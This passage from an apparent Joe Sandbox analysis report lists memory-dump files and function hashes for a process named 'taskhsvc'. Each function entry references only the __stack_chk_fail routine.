                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: c46ca576c83000e4e1215a783aeaa248ffafe9211cd2bd0707309c2c34e7e59d
                                                                                                                          • Instruction ID: 9ffc953ede774e3be8dabdcb4fa2d052e24c5fe06af3d073d7a9a2b90fdbf011
                                                                                                                          • Opcode Fuzzy Hash: c46ca576c83000e4e1215a783aeaa248ffafe9211cd2bd0707309c2c34e7e59d
                                                                                                                          • Instruction Fuzzy Hash: 75D017301087408BD710CF2AD08571ABAE1ABD83ACF344E6DE04AAA550C378EAC2CF06
                                                                                                                          Function 00BEA876 Relevance: 1.5, APIs: 1, Instructions: 14COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00CEE1A9: __stack_chk_fail.LIBSSP-0 ref: 00CEE1D3
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BEA93D
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 77a24ecf3221b396280c5b6f02d007c4fd854b7c42c4219cde292558579787f9
                                                                                                                          • Instruction ID: f71ba4b116b961ebb2a4ae36e2a9ae29edc02114e55fd7033be2294256abf984
                                                                                                                          • Opcode Fuzzy Hash: 77a24ecf3221b396280c5b6f02d007c4fd854b7c42c4219cde292558579787f9
                                                                                                                          • Instruction Fuzzy Hash: 99D05E70E00486DFCB00FFE2E08256EB3F9EF44348F128484A1052A106CB34AD819FB2
                                                                                                                          Function 00BE6215 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 260f26856f3309088ca79cacb23929db126daf78846bab471e58bff89020e357
                                                                                                                          • Instruction ID: dd201ee84b71b307df5e66953fafa7cabcba49c65fc2fafb2f97719164553581
                                                                                                                          • Opcode Fuzzy Hash: 260f26856f3309088ca79cacb23929db126daf78846bab471e58bff89020e357
                                                                                                                          • Instruction Fuzzy Hash: 69B0923060084097CA14DB6FA4964A873E2EB553B8B12578670336A0C28F30EC51D66A
                                                                                                                          Function 00BE6202 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 260f26856f3309088ca79cacb23929db126daf78846bab471e58bff89020e357
                                                                                                                          • Instruction ID: dd201ee84b71b307df5e66953fafa7cabcba49c65fc2fafb2f97719164553581
                                                                                                                          • Opcode Fuzzy Hash: 260f26856f3309088ca79cacb23929db126daf78846bab471e58bff89020e357
                                                                                                                          • Instruction Fuzzy Hash: 69B0923060084097CA14DB6FA4964A873E2EB553B8B12578670336A0C28F30EC51D66A
                                                                                                                          Function 00BE53CA Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
